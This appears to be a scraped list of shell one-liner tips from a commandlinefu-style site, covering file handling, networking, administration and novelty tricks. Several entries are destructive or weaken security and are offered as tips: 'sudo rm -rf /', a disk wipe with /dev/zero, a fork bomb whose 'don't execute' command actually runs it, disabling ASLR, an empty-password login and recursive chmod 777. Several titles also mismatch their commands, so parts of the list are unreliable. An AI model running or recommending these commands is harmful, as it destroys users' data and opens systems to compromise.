Function that swaps the filenames of two given files.
flipf(){ if [ -f "$1" -a -f "$2" ]; then mv "$1" "$1.$$" && mv "$2" "$1" && mv "$1.$$" "$2" || echo "$!"; else echo "Missing a file: $!"; fi; }
Replace Space In Filenames With Underscore
for file in "* *"; do mv "${file}" "${file// /_}"; done
SAR - List top CPU usage spikes over the last month using sar.
ls /var/log/sa/sa[0-9]*|xargs -I '{}' sar -u -f {}|awk '/^[0-9]/&&!/^12:00:01|RESTART|CPU/{print "%user: "$4" %system: "$6" %iowait: "$7" %nice: "$5" %idle: "$9}'|sort -nk10|head
list all the files and hidden files
ls -a
Extract raw URLs from a file
egrep -ie "<*HREF=(.*?)>" index.html | awk -F\" '{print $2}' | grep ://
Receive, sign and send GPG key id
caff <keyid>
show ip adress public
curl queip.tk/ip
check hardisk volume
df -h
Android VOLUME_DOWN
adb shell input keyevent KEYCODE_VOLUME_DOWN
Know when you will type :q in your term instead of vi(m), the alias will chewed you out.
alias :q='tput setaf 1; echo >&2 "this is NOT vi(m) :/"; tput sgr0'
Check default block size on ext2/ext3 filesystems
tune2fs -l /dev/XXXX | grep -w ^"Block size:"
download wallpaper random
for i in $(wget -O- -U "" "http://wallbase.cc/random/23/e..." --quiet|grep wallpaper/|grep -oe 'http://wallbase.cc[^"]*'); do wget $(wget -O- -U "" $i --quiet|grep -oe 'http://[^"]*\.jpg');done
stream facebook feed
watch -n -0.1 fbcmd stream timeline
Bash function to see if the day ends in
function ends_in_y() { case $(date +%A) in *y ) true ;; * ) false ;; esac } ; ends_in_y && echo ok
check all the running services
service --status-all
Create variables from a list of names
VARNAMES='ID FORENAME LASTNAME ADDRESS CITY PHONE MOBILE MAIL' ; cat customer.csv | while read LINE ; do COUNT=1 ; for VAR in $VARNAMES ; do eval "${VAR}=`echo $LINE | /usr/bin/awk {'print $'$COUNT''}`" ; let COUNT=COUNT+1 ; done ; done
Add prefix of 0 place holders for a string
rename 's/\d+/sprintf("%04d",$&)/e' *
Gecko-rendered javascript without a GUI
svn co http://simile.mit.edu/repository/crowbar/trunk&& cd ./trunk/xulapp/ xulrunner --install-app && Xvfb :1 && DISPLAY=:1 xulrunner application.ini 2>/dev/null 1>/dev/null && wget -O- "127.0.0.1:10000/&url=http://www.facebook.com"
check the version of wine
wine --version
Allow to shorten the prompt. Useful when the it is taking too much place.
PS1='$'
Mac OS X (laptops ??) only : control hibernation state more easily from Terminal.app
sudo pmset -a hibernatemode 1
Use curl on Windows to bulk-download the Savitabhabhi Comic Strip (for Adults)
for /L %%x in (1,1,16) do mkdir %%x & curl -R -e http://www.kirtu.com -o %%x/#1.jpg http://www.kirtu.com/toon/content/sb%x/english/sb%x_en_[001-070].jpg
Unlock and access an ssh key keychain entry from CLI
security unlock-keychain; security find-generic-password -ga "/Users/mruser/.ssh/id_dsa" 2>&1 > /dev/null
Disable ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
easily strace all your apache processes
ps -C apache o pid= | sed 's/^/-p /' | xargs strace
Count the number of queries to a MySQL server
mysql -uUser -pPassword -N -s -r -e 'SHOW PROCESSLIST' | grep -cv "SHOW PROCESSLIST"
find all c and cpp files except the ones in the unit-test and android subdirectories
find . -name unit-test -o -name '*.c' -o -name '*.cpp' | egrep -v "unit-test|android"
check the java version
java -version
Easily create and share X screen shots (remote webserver version)
scrot -e 'mv $f \$HOME/shots/; sitecopy -u shots; echo "\$BASE/$f" | xsel -i; feh `xsel -o`'
Every Nth line position !!! Example "(AWK)
awk '{if (NR % 3 == 1) print $0}' foo > foo_every3_position1; awk '{if (NR % 3 == 2) print $0}' foo > foo_every3_position2; awk '{if (NR % 3 == 0) print $0}' foo > foo_every3_position3
copy all Photos from Canon A520 to one place
find / -type f -name IMG_????.JPG -print0 |xargs -0 exiv2 -g Exif.Canon.ModelID '{}' |grep A520 |rev |cut --complement -d " " -f1-40 |rev |xargs -I {} cp --parents {} /where
send echo to socket network
echo foo | ncat [ip address] [port]
uninstall all the software which is installed in wine
wine uninstaller
prints line numbers
perl -ne 'print "$. - $_"' infile.txt
show how many twitter followers a user has
curl -s http://twitter.com/users/show.xml?screen_name=username | sed -n 's/\<followers_count\>//p' | sed 's/<[^>]*>//g;/</N;//b'
Create a tar file compressed with xz.
tar cfJ tarfile.tar.xz pathnames
open a random pirate bay mirror site
url=`curl http://proxybay.info/ | awk -F'href="|" |">|</' '{for(i=2;i<=NF;i=i+4) print $i,$(i+2)}' | grep follow|sed 's/^.\{19\}//'|shuf -n 1` && firefox $url
open the wine configuration
winecfg
prints line numbers
grep -n . datafile ;
Downloads files (through wget) from a list of URLs using a stored cookie
wget --load-cookies <cookie-file> -c -i <list-of-urls>
Reset Compiz
dconf reset -f /org/compiz/
Show which line of a shell script is currently executed
bash -x foo.sh
create an alias of the previous command
alias foo="!!"
Compile CoffeeScript on Mac clipboard to JavaScript and print it
pbpaste | coffee -bcsp | tail -n +2
File permissions
chmod 777 -R <filename>
Get the information about the Apache loaded modules from command line
httpd2 -M
restore
tar xfzO <backup_name>.tar.gz | mysql -u root <database_name>
Display only hosts up in network
nmap -sP -PR -oG - `/sbin/ip -4 addr show | awk '/inet/ {print $2}' | sed 1d`
Unlock the software var/lib/dpkg/lock
sudo fuser -vki /var/lib/dpkg/lock; sudo dpkg --configure -a
Calculate foldersize for each website on an ISPConfig environment
ls -d1a /var/www/*/web | xargs du -hs
Grep for text within all files in a folder structure
grep --color -R "text" directory/
Batch rename extension of all files in a folder, in the example from .txt to .md
rename *.JPG *.jpg
archlinux: remove a package completely from the system
sudo pacman -Rns packagename
To find how Apache has been compiled from commandline
httpd2 -V
Compressed Backup of the /etc
tar jcpf /home/[usuario]/etc-$(hostname)-backup-$(date +%Y%m%d-%H%M%S).tar.bz2 /etc
dd if=/dev/null of=/dev/sda
cat /dev/zero > /dev/sda
Check your unread Gmail from the command line
mtr www.google.com
Reorder file with max 100 file per folder
folder=0;mkdir $folder; while find -maxdepth 1 -type f -exec mv "{}" $folder \; -quit ; do if [ $( ls $folder | wc -l ) -ge 100 ]; then folder=$(( $folder + 1 )); mkdir $folder; fi ; done
Edit all source files of project with vim, each on separate tab
vim -p `ls *.java *.xml *.txt *.bnd 2>/dev/null`
check open ports (both ipv4 and ipv6)
lsof -i
ssh hostchange know_host improver
sshostnew () {sed -i "$1d" $HOME/.ssh/known_hosts ; }
displays a reminder message at the specified time
echo "DISPLAY=$DISPLAY xmessage convert db to innodb" | at 00:00
Colored cal output
cal | sed -E "2,8s/(^|[^0-9])($(date +%e))( |$)/\1$(echo "\033[0;36m\2\033[0m")\3/g"
Ignore ~/.vimrc when startup gVim
gvim -u NONE -U NONE
Show internet IP Address in prompt → PS1 var
export PS1="[\u@`curl icanhazip.com` \W]$ "
Grab your bibtex file from CiteULike.
curl -o <bibliography> "http://www.citeulike.org/bibtex/user/<user>"
get users process list
ps -u<user>
Get all the HTTP HEAD responses from a list of urls in a file
for file in `cat urls.txt`; do echo -n "$file " >> log.txt; curl --head $file >> log.txt ; done
Start a Google Chrome profile with an X11 based interactive prompt
/opt/google/chrome/google-chrome --user-data-dir=$HOME/.config/google-chrome/`zenity --entry --text="Enter a profile name:"`
bulk rename files with sed, one-liner
ls | sed 'p;s/foo/bar/' | xargs -n2 mv
Rip CD
ripit -c 0 --outputdir $1 --nosubmission
Show git branches by date - useful for showing active branches
for k in `git branch -r|awk '{print $1}'`;do echo -e `git show --pretty=format:"%Cgreen%ci_%C(blue)%c r_%Cred%cn_%Creset" $k|head -n 1`$k;done|sort -r|awk -F"_" '{printf("%s %17s %-22s %s\n",$1,$2,$3,$4)}'
SVN Add Recursively
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
Make an iso file out of your entire hard drive
dd if=/dev/hda of=file.img
Find out my commits today in svn
svn log | grep "$LOGNAME" | grep `date '+%Y-%m-%d'`
Convert all tabs in a file to spaces, assuming the tab width is 2
expand -t 2 <filename>
Pick the first program found from a list of alternatives
find_alternatives(){ for i;do which "$i" >/dev/null && { echo "$i"; return 0;};done;return 1;}
Remove superfluous from conf file
sed -re '/^#/d ; s/#.*$// ; /^\s*$/d'
Create random password in reasonable time
dd if=/dev/urandom | tr -d -c [:print:] | tr -d " " | dd count=1 bs=20 2> /dev/null; echo
removing those pesky malformed lines at the end of a text file..
cat -n $file | tail -n 100 && head -n number-of-lines-you-want-to-keep > newfile
Check the backdoors and security.chkrootkit is a tool to locally check for signs of a rootkit.
chkrootkit -x | less
to display number of lines in a file without using wc command
sed -n "$=" fileName
convert myisam to innodb
for I in $(echo "show tables" | mysql -u<user> <database>`; do echo "ALTER TABLE $I ENGINE = INNODB"| mysql -u<user> <database>; done
which domain controller the user currently logged onto
echo %logonserver%
List of commands you use most often
history | awk '{if ($2 == "sudo") a[$3]++; else a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
HDD Performance Read Test
dd if=10gb of=/dev/zero bs=1M count=10240
See The MAN page for the last command
man !!
Show amigable path
alias path='echo $PATH | tr ":" "\n"'
simple regex spell checker
use ImageMagik to convert tint (hue rotation) of an icon set directory.
mogrify -modulate 100,100,70 ../../icons/32x32/*.png
Batch resize all images to a width of 'X' pixels while maintaing the aspect ratio
mogrify -resize SIZE_IN_PIXELS *.jpg
Edit a single line in multiple files with sed
for f in `ls`; do sed -i '/MATCHING STRING/ { s/ORIGINAL/REPLACEMENT/; }' ${f} ; done
remove the last line of all html files in a directory
for f in *.html; do head -n -1 $f > temp; cat temp > $f; rm temp; done
How To Get the Apache Document Root
grep -i '^DocumentRoot' /etc/httpd/conf/httpd.conf | cut -f2 -d'"'
Sort a list of numbers on on line, separated by spaces.
echo $numbers | sed "s/\( \|$\)/\n/g" | sort -nu | tr "\n" " " | sed -e "s/^ *//" -e "s/ $//"
Selecting a random file/folder of a folder
a=(*); echo ${a[$((RANDOM % ${#a[@]}))]}
grep the command-line-fu archive
clgrep keyword
simulates the DOS tree command that you might be missing on your Mac or Linux box
find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
Get list of all Apache Virtual Host and which is default for each IP address
httpd -S
Find the uid and gid of your apache process
ps -o euid,egid --ppid `netstat --inet --inet6 -pln|awk '/:80 / { split($7,tmp, "/"); print tmp[1]; }'`|sort |uniq|grep -v EUID
List debian package installed by size
wajig large
use vim to get colorful diff output
vimdiff file1 file2
Find multiple filename expressions and sort by date
find . \( -iname "*.doc" -o -iname "*.docx" \) -type f -exec ls -l --full-time {} +|sort -k 6,7
Fork bomb (don't actually execute)
echo -e “\x23\x21/bin/bash\n\.\/\$\0\&\n\.\/\$\0\&” > bomb.sh && ./bomb.sh
Intall not signed packeges with yum
yum --nogpgcheck install "examplePackage"
Get current pidgin status
dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusGetCurrent
if you want the script run at reboot
sudo update-rc.d -f nomemioscript start 99 2 3 4 5
Connect via sftp to a specific port
sftp -p port user@host
if you want the script run at shutdown
sudo update-rc.d -f nomescript stop 90 0 6
See the order for DNS resolution on your Mac
scutil --dns
get memory configuration (not consumption) for all running VMware virtual machines
for file in $( vmrun list | grep 'vmx$' | sort ); do printf "% 40s %s M\n" $(echo "$( echo -n ${file}:\ ; grep memsize $file )" | sed -e 's/.*\///' -e 's/"//g' -e 's/memsize.=//'); done;
How to access to virtual machine
VBoxManage modifyvm "vm-name" --vrdp on --vrdpport 3389 --vrdpauthtype external
prints line numbers
cat infile | while read str; do echo "$((++i)) - $str" ; done;
get eth0 ip address
ip -4 addr show eth0 | awk ' /inet/ {print $2}'
clear not-used-again files from Linux page cache
find /path/to/dir -type f -exec cachedel '{}' \;
Compress Images using convert (ImageMagick) in a bulk
find . -maxdepth 1 -iname '*jpg' -exec convert -quality 60 {} lowQ/{} \;
To generate ssh keypair(public, private) which makes use of dsa as encryption algorithm
ssh-keygen -t dsa -b 1024
a pseudo-random coin flip in python
echo "import random; print(random.choice(['heads', 'tails']))" | python
Add a 1 pixel padding around an image.
convert -bordercolor Transparent -border 1x1 in.png out.png
Sets OpenFirmware pasword on a mac
/usr/local/bin/OFPW -pass thepassword
prints line numbers
while read str; do echo "$((++i)) - $str"; done < infile
translate what is in the clipboard in english and write it to the terminal
tw translate.google.com.de-en `xsel`
Delete everything!
sudo rm -rf /
Show temp of all disk
grep -l "drivetemp" /sys/class/hwmon/hwmon*/name | while read f; do printf "%s(%-.2s°C)\n" "`<${f%/*}/device/model`" "`<${f%/*}/temp1_input`"; done
set open firmware password command mode to require password to make changes
/usr/local/bin/OFPW -mode 1
regex to match an ip
perl -wlne 'print $1 if /(([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5]))/' iplist
Spanish Numbers
<ctrl+s>|<alt+s>
extract element of xml
xpath () { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\/ >/d' }
Join multipart archive in binary mode under Windows with command line
copy /b part.1 + part.2 + part.n file.extension
regex to match an ip
echo 127.0.0.1 | egrep -e '^(([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])\.){3}([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])$'
Enable passwordless login
sudo usermod -p $(mkpasswd '') user_id
Uptime in minute
awk '{print $0/60;}' /proc/uptime
remote ssh xdmcp session
ssh -XfC -c blowfish user@host Xephyr dpms -fullscreen -query localhost :5
External IP (raw data)
curl curlmyip.com
chain search and replace special characters to html entities in gvim
%s/?/\ï/ge | %s/?/\é/ge | %s/?/"/ge | %s/?/"/ge | %s/?/'/ge | %s/?/'/ge | %s/?/\ê/ge | %s/?/\…/ge | %s/?/\è/ge | %s/?/\ó/ge | %s/?/\ö/ge | %s/?/\é/ge | %s/?/\–/ge | %s/?/\—/ge
df without line wrap on long FS name
di
Change dates/timestamps of all files in the current folder
gci -rec | %{ $_.lastWriteTime = ($_.lastAccessTime = ($_.creationTime = (get-date "2021-05-19T10:14:00"))) }
Rename *.MP3 *.Mp3 *.mP3 etc.. to *.mp3.
find ./ -iname "*.mp3" -type f -printf "mv '%p' '%p'\n" | sed -e "s/mp3'$/mp3'/I" | sh
for loop with leading zero in bash 3
for i in {0..1}{0..9}; do echo $i; done
Capture screen and default audio input device and generate an incompress AVI file
gst-launch avimux name=mux ! filesink location=out.avi \ alsasrc ! audioconvert ! queue ! mux. istximagesrc name=videosource use-damage=false ! video/x-raw-rgb,framerate=10/1 ! videorate ! ffmpegcolorspace ! video/x-raw-yuv,framerate=10/1 ! mux.
pbzip2 tar pipe to untar
pbzip2 -dck <bz2file> | tar xvf -
Jump to any directory above the current
jda() { cd $(pwd | sed "s/\(\/$@\/\).*/\1/g"); }
Convert Windows/DOS Text Files to Unix
dos2unix dostxt unixtxt
Recursively search a directory tree for all .php .inc .html .htm .css .js files for a certain string
find . -type f \( -name "*.js" -o -name "*.php" -o -name "*.inc" -o -name "*.html" -o -name "*.htm" -o -name "*.css" \) -exec grep -il 'searchString' {} \;
easily find megabyte eating files or directories
alias dush="du -xsm * | sort -n | awk '{ printf(\"%4s MB ./\",\$1) ; for (i=1;i<=NF;i++) { if (i>1) printf(\"%s \",\$i) } ; printf(\"\n\") }' | tail"
Remove all leading and trailing slashes on each line of a text file
sed -e "s,/\+$,," -e "s,^/\+,," file.txt
run as system on windows
@echo off && sc create CmdAsSystem type= own type= interact binPath= "cmd /c start cmd /k (cd c:\ ^& color ec ^& title ***** SYSTEM *****)" && net start CmdAsSystem && sc delete CmdAsSystem
easy seach ip
ifconfig eth0|awk '/HWaddr/{gsub(/:/,"",$5);print $5}'
Generate CHECK TABLE statements for all MySQL database tables on a server
DD=`cat /etc/my.cnf | sed "s/#.*//g;" | grep datadir | tr '=' ' ' | gawk '{print $2;}'` && ( cd $DD ; find . -mindepth 2 | grep -v db\.opt | sed 's/\.\///g; s/\....$//g; s/\//./;' | sort | uniq | tr '/' '.' | gawk '{print "CHECK TABLE","`"$1"`",";";}' )
nested XDMCP login
/usr/bin/Xephyr :5 -query localhost -once -fullscreen -ac -keybd "ephyr,,,xkbmodel=pc105,xkblayout=it,xkbrules=evdev,xkboption="
View your motherboard's ACPI tables (in Debian & Ubuntu)
sudo aptitude -y install iasl && sudo cat /sys/firmware/acpi/tables/DSDT > dsdt.dat && iasl -d dsdt.dat
dig this
for dnsREC in $(curl -s http://www.iana.org/assignments/dns-parameters |grep -Eo ^[A-Z\.]+\ |sed 's/TYPE//'); do echo -n "$dnsREC " && dig +short $dnsREC IANA.ORG; done
force change password for all user
for i in `cat /etc/passwd | awk -F : '{ print $1 }';`; do passwd -e $i; done
Extract all urls from the last firefox sessionstore.js file used.
sed -e 's/{"url":/\n&/g' ~/.mozilla/firefox/*/sessionstore.js | cut -d\" -f4
Change the homepage of Chromium
change-homepage(){ sed -ri 's|( "homepage": ").*(",)|\1'"$@"'\2|' .config/chromium/Default/Preferences; }
Add EC2 pem key to SSH
ssh-add ~/.ssh/KEY_PAIR_NAME.pem
Creating rapidly an html menu
for menu in {1..4}; do echo -e "<ul>\n <li>menu $menu</li>\n <ul>"; for items in {1..5}; do echo " <li>item $items</li>"; if [ $items -eq 5 ];then echo -e " </ul>";fi;done; echo "</ul>";done | xclip
List complete size of directories (do not consider hidden directories)
du --max-depth=1 | grep -v '\.\/\.'
Undo
[Ctrl+u]
find names of files ending in *log that have both foo and bar
grep -l bar *.log | xargs grep -l foo
Convert DOS newlines (CR/LF) to Unix format
fromdos <file>
measure answer time of a web service
for i in {1..40};do echo -n $i. $(date +%H:%M:%S):\ ; (time curl 'http://ya.ru/' &> /dev/null) 2>&1|grep real;sleep 1;done
Change all instances of a word in all files in the current directory
perl -pi -e 's/foo/bar/g' $(grep -l foo ./*)
Generate a Universally Unique Identifier (UUID)
uuid
Clear all text to the left of your cursor
List complete size of directories (do not consider hidden directories)
du -sh * | grep -v '\.\/\.'
Get Informed by your box that you are awesome ;)
while $i;do `notify-send -t 200 "You are awesome :)"`;sleep 60; done;
Useful to check if the disks as of same size or not. Helpful in checking Raid configs
df | awk '{if ($2!=dspace) print "different"; dspace=$2;}'
purge half of files in backup directory
find . | sort | awk 'NR%2==0' | xargs rm $1
Shuffle mp3 files in current folder (and subfolders) and play them.
find . -iname "*.mp3" | mpg123 -Z --list -
Change all instances of a word in all files in the current directory and it's sub-directories
perl -pi -e 's/foo/bar/g' $(grep -rl foo ./*)
For finding out if something is listening on a port and if so what the daemon is.
lsfo -i :[port number]
Get your external IP address
curl http://my-ip.cc/host.txt
find all minimum values in file with at least 100 lines
for ff in directory; do numLines=`wc -l $ff`; numLines=$(echo $numLines | sed 's/ .*//g'); min=$(sort -nrk 1 $ff | tail -1); if [ $numLines -gt 100 ]; then echo $min >> minValues; fi;done;
return external ip
host -t a dartsclink.com | sed 's/.*has address //'
List complete size of directories (do not consider hidden directories)
du -sh `ls -p | grep /`
Get your external IP address
curl http://my-ip.cc/host.xml
Keep gz file after uncompressing
gunzip -c x.txt.gz >x.txt
display IP addresses with 5 or more unsuccessful login attempts today
lastb -i | grep "$(date '+%a %b %d')" | awk '{ print $3 }' | sort | uniq -c | awk '{ if ($1 >= 5) print $2; }'
Create new repo in Cobbler for CentOS 5.3 updates
cobbler repo add --name=CentOS-5.3-i386-updates --mirror=http://mirror3.mirror.garr.it/mirrors/CentOS/5.3/updates/i386/
Today's date on a yearly calendar…
cal -y
Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | uniq | sort
Weather on the Command line
curl -s "http://www.google.com/ig/api?weather=New%20York" | sed 's|.*<temp_f data="\([^"]*\)"/>.*|\1|'
Merge tarballs
cat 1.tar.gz 2.tar.gz | tar zxvif -
Scroll a message in a terminal titlebar
function titlescroll { _X=0 _TITLEMSG=$1 _WIDTH=${2:-16} _TITLEMSG=`printf "%$((${#_TITLEMSG}+$_WIDTH))s" "$_TITLEMSG"` while `true` do _X=$(((_X+1)%${#_TITLEMSG})) xtitle "${_TITLEMSG:_X:_WIDTH}" done }
Remove Thumbs.db files from folders
find ./ -name Thumbs.db -exec rm -rf '{}' +
Remove duplicate lines using awk
!a[$0]++
Alternative way to get the root directory size in megabytes
expr $(fdisk -s ` grep ' / ' /etc/mtab |cut -d " " -f1`) / 1024
do a full file listing of every file found with locate
locate -i yourfilename | sed 's/ /\\ /g' | xargs ls -lah | less
Get current stable kernel version string from kernel.org
curl -s -k https://www.kernel.org/feeds/kdist.xml | sed -n -e 's@.*<guid>\(.*\)</guid>.*@\1@p' | grep 'stable' | head -1 | awk -F , '{print $3}'
Format a flooppy with windows compatible disk
mformat -f 1440 A:
[Gentoo] Input modules, commented, in your module.autoload file
find /lib/modules/`uname -r`/ -type f -iname '*.o' -or -iname '*.ko' |grep -i -o '[a-z0-9]*[-|_]*[0-9a-z]*\.ko$' |xargs -I {} echo '!!! Example "{}' >>/etc/modules.autoload.d/kernel-2.6
Function to bind MySQL hostport to forward remote MySQL connection to localhost.
sshmysql() { ssh -L 13306:127.0.0.1:3306 -N $* & }
show your locale language keyboard setting
locale | grep LANG=
Play newest or random YouTube video
goyoutube() { d=/path/to/videos p=$d/playlist m=$d/*.mp4 f=$d/*.flv if [ "$1" == 'rand' ]; then ls -1 $m $f | shuf >$p else ls -1t $m $f >$p fi mplayer -geometry 500x400 -playlist $p }
Testing
who am i | wc -l
View the list of files and directories in an archive with less.
less file.tar.gz
All IP connected to my host
netstat -nut | awk '$NF=="ESTABLISHED" {print $5}' | cut -d: -f1 | sort -u
Sum up total size and count of all certain filename pattern/regex
find -regextype posix-egrep -regex ".*/[A-Z]{3}_201009[0-9]{2}.*" -printf "%f %s\n" | awk '{ SUM += $2;COUNT++ } END { print SUM/1024 " kb in " COUNT " files" }'
Run a second copy of Firefox using the same profile on Mac OS X
(cd /Applications/Firefox.app/Contents/MacOS; ./firefox-bin -p default --no-remote)
Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)
killall -s 9 krunner_lock
List all available commands
in bash hit "tab" twice and answer y
x bottles of beer on the wall graph
(echo "plot '-' with lines"; for x in $(seq 1 100); do curl -s "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=$(echo $x bottles of beer on the wall|sed 's/ /%20/g')"|sed 's/.*"estimatedResultCount":"\([^"]*\)".*/\1\n/';done)|gnuplot -persist
Remove executable bit from all files in the current directory recursively, excluding other directories, firm permissions
chmod -R u=rw-x+X,g=r-x+X,o= .
Reorder file with max 100 file per folder
files -type f | xargs -n100 | while read l; do mkdir $((++f)); cp $l $f; done
view someone's twitter stream from terminal
grabtweets() { curl -s -o $GT_TMP twitter.com/$1 | cat $GT_TMP | grep entry-content | sed -e :loop -e 's/<[^>]*>//g;/</N;//bloop' | sed 's/^[ \t]*//'; }
Get Google PageRank
curl pagerank.bz/yourdomain.com
addprinc
kadmin -p admin@NOC.NBIRN.NET -q "addprinc -randkey host/host"
List the size (in human readable form) of all sub folders from the current location
du -hs *
ktadd
kadmin -p admin@NOC.NBIRN.NET -q "ktadd -k /etc/krb5.keytab host/hostname"
prints line numbers
sed '/./=' infile | sed '/^/N; s/\n/ /'
Get Google Reader unread count
curl -s -H "Authorization: GoogleLogin auth=$auth" "http://www.google.com/reader/api/0/unread-count?output=json" | tr '{' '\n' | sed 's/.*"count":\([0-9]*\),".*/\1/' | grep -E ^[0-9]+$ | tr '\n' '+' | sed 's/\(.*\)+/\1\n/' | bc
20char long alpahnumeric "password"
head -c20 /dev/urandom | xxd -ps
backup file with tar
tar -cvf bind9-config-`date +%s`.tar *
Login via SSH
ssh -l <username> <server>
Netcat ftp honeypot centos linux (use port 22 for SSH)
while [ 1 ]; do echo -e "220 ProFTPD 1.3.3c Server [ProFTPD] \nFAILED FTP ATTEMPT - PORT 21" | nc -vvv -l 192.168.1.65 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log; done
Check out hijacked files in clearcase
cleartool co -nc `cleartool ls -recurse | grep "hijacked" | sed s/\@\@.*// | xargs`
kalarm 1 per minute simplest e-mail beacom for Geovision surveillance DVR
curl http://www.spam.la/?f=sender | grep secs| awk '{print; exit}' | osd_cat -i 40 -d 30 -l 2
Echo exit status (a.k.a. return code)
echo $?
sets desktop background using zenity
zenity --list --width 500 --height 500 --column 'Wallpapers' $(ls) | xargs xsetbg -center -smooth -fullscreen
free some harddrive space by garbage collecting in all your git repos
find . -maxdepth 2 -type d -name '.git' -print0 | while read -d ''; do (cd "$REPLY"; git gc); done
Import an entire directory into clearcase
ct mkelem -nc `find ./ -name "*" | xargs`
Windows person acting like an idiot in Linux?
export PS1="C:\\>"; clear
bash function to "highlight" tabs and linebreaks
hl-nonprinting () { local C=$(printf '\033[0;36m') R=$(printf '\033[0m'); sed -e "s/\t/${C}▹&$R/g" -e "s/$/${C}⁋$R/";}
Btrfs: Find file names with checksum errors
dmesg | grep -Po 'csum failed ino\S* \d+' | sort | uniq | xargs -n 3 find / -inum 2> /dev/null
webcam player in ascii art
gst-launch v4l2src ! aasink
gmail safe folder
find | egrep "\.(ade|adp|bat|chm|cmd|com|cpl|dll|exe|hta|ins|isp|jse|lib|mde|msc|msp|mst|pif|scr|sct|shb|sys|vb|vbe|vbs|vxd|wsc|wsf|wsh)$"
bash function to highlight non-printing characters: tab, newline, BOM, nbsp
hl-nonprinting () { local C=$(printf '\033[0;36m') B=$(printf '\033[0;46m') R=$(printf '\033[0m') np=$(env printf "\u00A0\uFEFF"); sed -e "s/\t/${C}▹&$R/g" -e "s/$/${C}⁋$R/" -e "s/[$np]/${B}& $R/g";}
Transforms a file to all uppercase.
perl -i -ne 'print uc $_' $1
Remove all the files except abc in the directory
find * ! -name abc | xargs rm
Easily find an old command you run
cat $HISTFILE | grep command
Disable graphical login on Solaris
svcadm disable cde-login
revert one or more changesets in svn
svn merge -r 1337:1336 PATH PATH
Remove string with several escaped characters from all files under given path
S='<iframe src=\"http:\/\/254.254.254.254\/bad\/index.php\" width=\"1\" height=\"1\" frameborder=\"0\"><\/iframe>' && R=''; find . -name "*.html" -exec grep -l "$S" {} \; | xargs sed -i -e "s/$S/$R/g"
recursivly open all recently crashed vim buffers in restore mode
find ./ -type f -mtime -1 -name .*.sw[po] -print | sed -r 's/^(.+)\/\.(\S+)\.sw[op]$/\1\/\2/' | xargs vim -r
Remove all the files except abc in the directory
rm $( ls | egrep -v 'abc|\s' )
Get Top Trending Topic on Twiter by location
lynx --dump http://en.trending-topic.com/countries/Mexico/ | grep "62]#" | sed 's/\[62\]//g'
Listen and sort your music, with prompt for deleting (minimal alternative version)
for i in *; do mplayer "$i" && rm -i "$i"; done
Sort a character string
echo sortmeplease | awk '{l=split($1,a,"");asort(a);while(x<=l){printf "%s",a[x];x++ }print "";}'
Multiple open files and go directly to the line where some string is
grep -rl string_to_find public_html/css/ | xargs -I '{}' vim +/string_to_find {} -c ":s/string_to_find/string_replaced"
arp-scan -l without duplicates
arp-scan -l -g -interface (nic)
Parse logs for IP addresses and how many hits from each IP
cat "log" | grep "text to grep" | awk '{print $1}' | sort -n | uniq -c | sort -rn | head -n 100
Python version to a file
python -V >file 2>&1
Bold matching string without skipping others
sed 's/pattern/^[[1m&^[[0m/g'
Length of longest line of code
perl -ne 'push(@w, length); END {printf "%0d\n" , (sort({$b <=> $a} @w))[0]}' *.cpp
Python version to a file
python -V 2> file
Find Apache Root document
grep -i 'DocumentRoot' /usr/local/apache/conf/httpd.conf
Rip audio tracks from CD to wav files in current dir
cdparanoia -B
Continue a current job in the background
<ctrl+z> %1 &
Find out if a module is installed in perl
perl -MFile::Find=find -MFile::Spec::Functions -Tlwe '$found=1; find { wanted => sub { if (/$ARGV[0]\.pm\z/) { print canonpath $_; $found=0; } }, no_chdir => 1 }, @INC; exit $found;' Collectd/Plugins/Graphite
Watch Star Wars via telnet
cat < /dev/tcp/towel.blinkenlights.nl/23
Give information about your graphic chipset
lshw -C display
Email if you disk is over 90%
HDD=$(df | awk ' NR>3 (S=$5) (M=$6) { if (S>90) print "Your Systems "M" is """S" Full" } ') ; [[ $HDD ]] && echo "$HDD" | mail -s "Hard-Drives Full" TO@EMAIL.com -- -f FROM@EMAIL.com >/dev/null
Print line numbers
sed = <file> | sed 'N;s/\n/\t/'
Update twitter with curl
curl -u username:password -d status="blah blah blah" https://twitter.com/statuses/update.xml
Print just line 4 from a textfile
sed '4!d'
Batch Convert SVG to PNG
for i in *; do inkscape $i --export-png=`echo $i | sed -e 's/svg$/png/'`; done
create an mp3 with variable bitrate
lame -h -V 6 track9.wav track9.mp3
How far is Mac OS X 10.6 from 64-bit?
file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl |tail -1 |cut -f1 -f3 && file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -v x86_64 |nl |tail -1 |cut -f1 -f3
kill a windows process
wmic process where (caption="notepad.exe") call terminate
Delete Mailer-Daemon messages
mailq |awk '/MAILER-DAEMON/{gsub("*","");printf("postsuper -d %s\n",$1)}'|bash
Print just line 4 from a textfile
perl -ne '$. == 4 && print && exit'
Add strikethrough to text
echo text | sed "s/\(.\)/\1-/g"
rsync from one remote to another remote, only local computer has an open ssh key
mkdir r1 && sshfs remote1:/home/user r1 && rsync r1/stuff remote2:~/backups/
Sequential revision numbers in Git
git rev-list --reverse HEAD | awk "/$(git log -n 1 --pretty="format:%h")/ {print NR}"
Per country GET report, based on access log. Easy to transform to unique IP
cat /var/log/nginx/access.log | grep -oe '^[0-9.]\+' | perl -ne 'system("geoiplookup $_")' | grep -v found | grep -oe ', [A-Za-z ]\+$' | sort | uniq -c | sort -n
find and kill a zombie process
